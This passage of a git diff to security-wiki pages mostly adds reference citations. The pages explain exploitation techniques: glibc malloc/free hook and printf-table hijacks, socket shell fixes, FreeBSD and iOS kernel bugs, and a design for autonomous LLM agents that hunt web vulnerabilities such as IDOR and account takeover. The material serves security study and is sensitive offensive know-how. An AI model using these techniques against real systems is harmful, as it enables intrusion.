parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**. +In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.[[1]](#references) ```python # This code makes all the parameters of the model unrtainable @@ -72,7 +72,7 @@ param.requires_grad = True In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language. -In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token. +In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.[[1]](#references) This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as: @@ -115,6 +115,6 @@ You can find all the code to fine-tune GPT2 to be a spam classifier in [https:// ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [1] [Build a Large Language Model from Scratch (Manning)](https://www.manning.com/books/build-a-large-language-model-from-scratch) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index d55707afeb5..64b6281fb93 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**These are my notes from the very recommended book** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **with some extra information.** +**These are my notes from the very recommended book** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **with some extra information.**[[1]](#references) ## Basic Information @@ -109,4 +109,8 @@ You should start by reading this post for some basic concepts you should know ab 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} +## References + +- [1] [Build a Large Language Model (From Scratch)](https://www.manning.com/books/build-a-large-language-model-from-scratch) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/Web-Black-Box-AI-Pentester-Bots.md b/src/AI/Web-Black-Box-AI-Pentester-Bots.md index 6d7f1238913..3449658702d 100644 --- a/src/AI/Web-Black-Box-AI-Pentester-Bots.md +++ b/src/AI/Web-Black-Box-AI-Pentester-Bots.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -LLMs can run **long-lived black-box web pentesting workflows**. The useful abstraction is not "ask the model to find bugs", but "wrap the model in a harness that forces evidence collection, persistence, and skeptical validation". +LLMs can run **long-lived black-box web pentesting workflows**. The useful abstraction is not "ask the model to find bugs", but "wrap the model in a harness that forces evidence collection, persistence, and skeptical validation".[[1]](#references) ## 1. Observability first @@ -14,7 +14,7 @@ An autonomous agent without logs quickly becomes an expensive false-positive gen - intermediate conclusions - final evidence used in the report -The logs are often more valuable than the report because they show **why** the agent stopped, which assumptions it made, and which branches deserve another pass. +The logs are often more valuable than the report because they show **why** the agent stopped, which assumptions it made, and which branches deserve another pass.[[1]](#references) ## 2. Keep the agent hacking @@ -26,11 +26,11 @@ A single prompt usually stops at the first plausible explanation. In practice, t 4. revisit suspicious branches 5. stop only on an explicit budget or low-signal decision -This is especially useful for web targets where weak signals often hide real issues: reflected parameters, strange redirects, feature flags, hidden API paths, source-map leaks, or partially working authorization bypasses. +This is especially useful for web targets where weak signals often hide real issues: reflected parameters, strange redirects, feature flags, hidden API paths, source-map leaks, or partially working authorization bypasses.[[1]](#references) ## 3. Add an orchestrator -Pure persistence burns tokens on thin targets. Put an **orchestrator** above the worker to: +Pure persistence burns tokens on thin targets. Put an **orchestrator** above the worker to:[[1]](#references) - kill low-signal targets early - extend runs on promising attack surfaces @@ -46,7 +46,7 @@ A separate agent should try to **disprove** every finding before it is reported: - alleged IDOR/BOLA → confirm object ownership really changes with only the identifier mutated - alleged OAuth issue → replay the exact callback/token exchange and confirm client, redirect, or `postMessage` abuse is real -This reduces "AI slop" and forces the system to keep only evidence-backed bugs. +This reduces "AI slop" and forces the system to keep only evidence-backed bugs.[[1]](#references) ## 5. Split login from hacking @@ -57,11 +57,11 @@ For post-auth web testing, do **not** waste most of the budget fighting anti-bot - hand live authenticated sessions to the cloud worker - keep the worker focused on post-auth attack surface -This is especially relevant for high-value classes such as [IDOR/BOLA](../pentesting-web/idor.md), [account takeover](../pentesting-web/account-takeover.md), [registration weaknesses](../pentesting-web/registration-vulnerabilities.md), and [reset/OTP flows](../pentesting-web/reset-password.md). +This is especially relevant for high-value classes such as [IDOR/BOLA](../pentesting-web/idor.md), [account takeover](../pentesting-web/account-takeover.md), [registration weaknesses](../pentesting-web/registration-vulnerabilities.md), and [reset/OTP flows](../pentesting-web/reset-password.md).[[1]](#references) ## 6. Web-specific artifact mining for agents -Autonomous web agents work best when explicitly instructed to harvest and prioritize: +Autonomous web agents work best when explicitly instructed to harvest and prioritize:[[1]](#references) - JS bundles and **source maps** for hidden routes, mock paths, API keys, role strings, and service filenames - client-side message handlers for [`postMessage`](../pentesting-web/postmessage-vulnerabilities/README.md) sinks and origin-trust mistakes @@ -72,7 +72,7 @@ Autonomous web agents work best when explicitly instructed to harvest and priori ## 7. High-signal web heuristics to encode as skills -When you turn the workflow into reusable skills/prompts, explicitly bias the agent toward patterns that repeatedly produce real bugs: +When you turn the workflow into reusable skills/prompts, explicitly bias the agent toward patterns that repeatedly produce real bugs:[[1]](#references) - **Leaked Google / Firebase keys**: test exposed keys against Identity Toolkit-style project configuration endpoints, recover authorized domains, and compare those domains against real portals, self-registration paths, and domain-trust onboarding logic. - **Customer lookup / recovery APIs**: prioritize endpoints that accept phone numbers, partial names, DOB, email, or account numbers; check whether any field is only syntactically required and can be abused for bulk enumeration. @@ -83,7 +83,7 @@ When you turn the workflow into reusable skills/prompts, explicitly bias the age ## 8. Good agent outputs -The best output of an autonomous hacking agent is usually **not** a polished report. It is a queue of: +The best output of an autonomous hacking agent is usually **not** a polished report. It is a queue of:[[1]](#references) - reproducible request/response pairs - validated exploit paths @@ -92,6 +92,6 @@ The best output of an autonomous hacking agent is usually **not** a polished rep ## References -- [Joseph Thacker & xssdoctor - The Bug Bounty Singularity: Our Hackbot](https://josephthacker.com/hacking/2026/07/01/we-built-a-hackbot.html) +- [1] [Joseph Thacker & xssdoctor - The Bug Bounty Singularity: Our Hackbot](https://josephthacker.com/hacking/2026/07/01/we-built-a-hackbot.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 9239931a36c..0a1f44e6041 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,7 +4,7 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.[[1]](#references) To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. @@ -33,7 +33,7 @@ It's posisble to find the address of `__free_hook` if the binary has symbols wit gef➤ p &__free_hook ``` -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols.[[5]](#references) As summary, in the free function:
gef➤  x/20i free
 0xf75dedc0 : push   ebx
@@ -70,7 +70,7 @@ Now a **fast bin attack** is performed:
 
 ## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
 
-glibc 2.32 introduced **Safe-Linking** – an integrity-check that protects the *single*-linked lists used by **tcache** and fast-bins. Instead of storing a raw forward pointer (`fd`), ptmalloc now stores it *obfuscated* with the following macro:
+glibc 2.32 introduced **Safe-Linking** – an integrity-check that protects the *single*-linked lists used by **tcache** and fast-bins.[[3]](#references) Instead of storing a raw forward pointer (`fd`), ptmalloc now stores it *obfuscated* with the following macro:
 
 ```c
 #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
@@ -125,19 +125,20 @@ The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 
 
 ## What changed in glibc ≥ 2.34?
 
-Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **removed from the public API and are no longer invoked by the allocator**. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of `malloc()` or `free()`. 
+Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **removed from the public API and are no longer invoked by the allocator**. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of `malloc()` or `free()`.[[4]](#references)
 
-Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to *other* hijack primitives (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) because hook overwrites will silently fail.
+Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to *other* hijack primitives (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) because hook overwrites will silently fail.[[2]](#references)
 
-If you still need the old behaviour for debugging, glibc ships `libc_malloc_debug.so` which can be pre-loaded to re-enable the legacy hooks – but the library is **not meant for production and may disappear in future releases**.
+If you still need the old behaviour for debugging, glibc ships `libc_malloc_debug.so` which can be pre-loaded to re-enable the legacy hooks – but the library is **not meant for production and may disappear in future releases**.[[4]](#references)
 
 ---
 
 ## References
 
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
-- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
-- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
-- glibc 2.34 release notes – removal of malloc hooks
+- [1] [One gadgets and malloc hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
+- [2] [Code execution on the last libc](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
+- [3] [Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
+- [4] [The GNU C Library version 2.34 release announcement](https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html)
+- [5] [Nightmare: bkp16 cookbook – locating __free_hook without symbols](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
index dd238c5cc13..b0b5610f2d2 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
@@ -12,7 +12,7 @@ Glibc allows users to register custom conversion specifiers (like `%s`, `%d`) fo
 
 ### How it Works
 
-When `printf` is called, it checks a global variable `__printf_function_table`. If it is non-NULL, it uses `__printf_arginfo_table` to find the handler function for the current specifier.
+When `printf` is called, it checks a global variable `__printf_function_table`. If it is non-NULL, it uses `__printf_arginfo_table` to find the handler function for the current specifier.[[1]](#references)
 1. Overwrite `__printf_function_table` with a non-zero value (e.g., 1).
 2. Forge a table at the address pointed to by `__printf_arginfo_table`.
 3. In that table, at index `ord('s')` (`0x73`), place the address of your gadget or `system`.
@@ -54,7 +54,7 @@ As can be seen, we need that `__printf_arginfo_table` is non-NULL, so that we ca
 
 ### Exploitation
 
-So, we need to set `__printf_arginfo_table[spec->info.spec]` to the function/address we want to call. Notice that `spec->info.spec` is the format specifier (e.g., `0x73` for `%s`, its ASCII value). As a result, when `printf` is called with `%s` as a format specifier, `spec->info.spec` will be `0x73`, so we need to set `__printf_arginfo_table[0x73]` to the function/address we want to call.
+So, we need to set `__printf_arginfo_table[spec->info.spec]` to the function/address we want to call. Notice that `spec->info.spec` is the format specifier (e.g., `0x73` for `%s`, its ASCII value). As a result, when `printf` is called with `%s` as a format specifier, `spec->info.spec` will be `0x73`, so we need to set `__printf_arginfo_table[0x73]` to the function/address we want to call.[[1]](#references)
 
 An example payload could be:
 
@@ -81,6 +81,6 @@ arb_write(__printf_function_table_addr, 1)
 
 ## References
 
-- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+- [1] [Code execution on the last libc](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md
index 9de78348582..a12c29cb721 100644
--- a/src/binary-exploitation/common-exploiting-problems.md
+++ b/src/binary-exploitation/common-exploiting-problems.md
@@ -8,7 +8,7 @@ When sending an exploit to a remote server that calls **`system('/bin/sh')`** fo
 
 A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
 
-[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):[[1]](#references)
 
 ```python
 from pwn import *
@@ -33,7 +33,7 @@ Note that socat already transfers **`stdin`** and **`stdout`** to the socket. Ho
 
 In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
 
-**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**[[2]](#references)
 
 ## Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
 
@@ -151,7 +151,7 @@ int main(void) {
 
 7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.
 
-This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.
+This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.[[3]](#references)
 
 ## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
 
@@ -214,11 +214,11 @@ so the combined residue uniquely equals the 64-bit pointer to `kCFNull`. The Pro
 3. **Residue extraction:** Converting the returned plist back to XML reveals the dictionary key ordering. A helper such as `extract-pointer.c` reads the object table, determines the index of the singleton `NSNull`, maps each dictionary pair back to its bucket residue, and solves the CRT system to recover the shared-cache pointer.
 4. **Verification (optional):** Compiling a tiny Objective-C helper that prints `CFHash(kCFNull)` confirms the leaked value matches the real address.
 
-No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.
+No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.[[5]](#references)
 
 ## Kernel waiter cleanup confusion, stack-UAF reclaim & constrained tree-writes
 
-Some kernel bugs become exploitable because a cleanup helper assumes that **`current` owns the object being cleaned up**, but a later proxy path reuses that helper **on behalf of another task**. If rollback removes the waiter from a lock/tree but clears the blocked state on the wrong task, the real owner can keep a **dangling pointer to a stack object** that belonged to a previous syscall frame.
+Some kernel bugs become exploitable because a cleanup helper assumes that **`current` owns the object being cleaned up**, but a later proxy path reuses that helper **on behalf of another task**. If rollback removes the waiter from a lock/tree but clears the blocked state on the wrong task, the real owner can keep a **dangling pointer to a stack object** that belonged to a previous syscall frame.[[4]](#references)
 
 ### Proxy cleanup confusion in PI/futex style paths
 
@@ -323,10 +323,10 @@ common-exploiting-problems-unsafe-relocation-fixups.md
 
 ## References
 
-- [FD duplication exploit example](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
-- [Socat delete-character behaviour](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)
-- [FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)
-- [IonStack Part II: GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years](https://nebusec.ai/research/ionstack-part-2)
-- [Pointer leaks through pointer-keyed data structures (Project Zero)](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
+- [1] [FD duplication exploit example](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
+- [2] [Socat delete-character behaviour](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)
+- [3] [FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)
+- [4] [IonStack Part II: GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years](https://nebusec.ai/research/ionstack-part-2)
+- [5] [Pointer leaks through pointer-keyed data structures (Project Zero)](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
index 08f8e723741..ec14770dcf6 100644
--- a/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
+++ b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
@@ -17,7 +17,7 @@ PS5 hypervisor mitigations worth noting (contextualized for this technique):
 - Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable.
 - Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory.
 
-This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing.
+This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing.[[5]](#references)
 
 ## Kernel data-only primitives
 
@@ -191,7 +191,7 @@ The PS5 technique above assumes you already have kernel R/W. Calif's 2026 FreeBS
 
 ### 1. Copyin/copyout size confusion into a caller-owned stack buffer
 
-When a helper chooses between a small **on-stack array** and a heap allocation, verify that **both** the allocation size and the later `copyin`/`copyout` length use the **element size**, not the pointer size. In the released `setcred(2)` LPE, a helper handling supplementary groups used `sizeof(pointer)` instead of `sizeof(gid_t)`, so a user-controlled group count copied `N*8` bytes into a caller frame that only reserved space for `N*4`-sized entries.
+When a helper chooses between a small **on-stack array** and a heap allocation, verify that **both** the allocation size and the later `copyin`/`copyout` length use the **element size**, not the pointer size. In the released `setcred(2)` LPE, a helper handling supplementary groups used `sizeof(pointer)` instead of `sizeof(gid_t)`, so a user-controlled group count copied `N*8` bytes into a caller frame that only reserved space for `N*4`-sized entries.[[1]](#references)[[2]](#references)
 
 Things worth checking during audit/exploitation:
 
@@ -202,7 +202,7 @@ Things worth checking during audit/exploitation:
 
 ### 2. Redirected syscall numbers that are not re-validated before `sysent` lookup
 
-Audit every path that can **translate or redirect a syscall number** (`SYS_syscall`, `SYS___syscall`, ptrace remote syscall helpers, compat/emulation wrappers). The important rule is: **bounds-check the final syscall number after redirection**, not just the original request.
+Audit every path that can **translate or redirect a syscall number** (`SYS_syscall`, `SYS___syscall`, ptrace remote syscall helpers, compat/emulation wrappers). The important rule is: **bounds-check the final syscall number after redirection**, not just the original request.[[1]](#references)[[3]](#references)
 
 If the redirected value reaches `sv->sv_table[sc]` unchecked, adjacent kernel memory may be interpreted as a fake `struct sysent`:
 
@@ -223,7 +223,7 @@ Any kernel object embedding `struct selinfo` (or related `knlist` state) must **
 - a wait path calls `selrecord()`
 - the final free path destroys the lock/object **without** `seldrain()`
 
-That leaves stale waiter metadata pointing into freed memory. If the freed slot is reclaimed with attacker-influenced data (Calif used `SCM_RIGHTS`-driven `filedescent` allocations against `procdesc`), the later timeout/cleanup path may run a stale `TAILQ_REMOVE()` or similar unlink logic on the reclaimed object.
+That leaves stale waiter metadata pointing into freed memory. If the freed slot is reclaimed with attacker-influenced data (Calif used `SCM_RIGHTS`-driven `filedescent` allocations against `procdesc`), the later timeout/cleanup path may run a stale `TAILQ_REMOVE()` or similar unlink logic on the reclaimed object.[[1]](#references)[[4]](#references)
 
 Why this matters:
 
@@ -235,17 +235,17 @@ A good FreeBSD-specific grep set is: `selrecord`, `seldrain`, `selwakeup`, `knli
 
 ## References
 
-- [Calif - An AI audit of FreeBSD](https://blog.calif.io/p/an-ai-audit-of-freebsd)
-- [Calif setcred write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/setcred-CVE-2026-45250/WRITEUP.md)
-- [Calif ptrace PT_SC_REMOTE write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/ptrace-CVE-2026-45253/WRITEUP.md)
-- [Calif procdesc/file write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/file-CVE-2026-45251/WRITEUP.md)
-- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
-- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
-- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
-- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
-- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
-- [Mira](https://github.com/OpenOrbis/mira-project)
-- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
-- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
+- [1] [Calif - An AI audit of FreeBSD](https://blog.calif.io/p/an-ai-audit-of-freebsd)
+- [2] [Calif setcred write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/setcred-CVE-2026-45250/WRITEUP.md)
+- [3] [Calif ptrace PT_SC_REMOTE write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/ptrace-CVE-2026-45253/WRITEUP.md)
+- [4] [Calif procdesc/file write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/file-CVE-2026-45251/WRITEUP.md)
+- [5] [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
+- [6] [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
+- [7] [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
+- [8] [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
+- [9] [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
+- [10] [Mira](https://github.com/OpenOrbis/mira-project)
+- [11] [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
+- [12] [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
index 81ef72d1e82..c8c7624045e 100644
--- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
+++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
@@ -7,7 +7,7 @@
 
 You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary:
 
-Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.
+Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.[[1]](#references)
 
 These are the trailer relevant structs:
 
@@ -57,7 +57,7 @@ trailer->msgh_context = context;
 trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); 
 ```
 
-The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.**
+The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.**[[1]](#references)
 
 To pass this check we need to send a valid supported `option`:
 
@@ -106,7 +106,7 @@ Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_A
 
 If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
 
-So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
+So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.[[1]](#references)
 
 ### Basic PoC
 
@@ -114,7 +114,7 @@ Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-h
 
 ### Leak Kernel Address PoC
 
-The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
+The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.[[1]](#references)
 
 Commetns were added for better understanding:
 
@@ -339,7 +339,7 @@ int main(int argc, char *argv[]) {
 
 ## References
 
-- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
+- [1] [iOS 1-day hunting: uncovering and exploiting CVE-2020-27950 kernel memory leak](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
index 0d466ad5453..3589b682986 100644
--- a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
+++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
@@ -7,7 +7,7 @@
 
 You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
 
-- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
+- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.[[1]](#references)
 
 - That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
 
@@ -23,7 +23,7 @@ You have a [great explanation of the vuln here](https://saaramar.github.io/IOMob
 
 ## DoS PoC
 
-The following is the initial DoS PoC from the ooriginal blog post with extra comments:
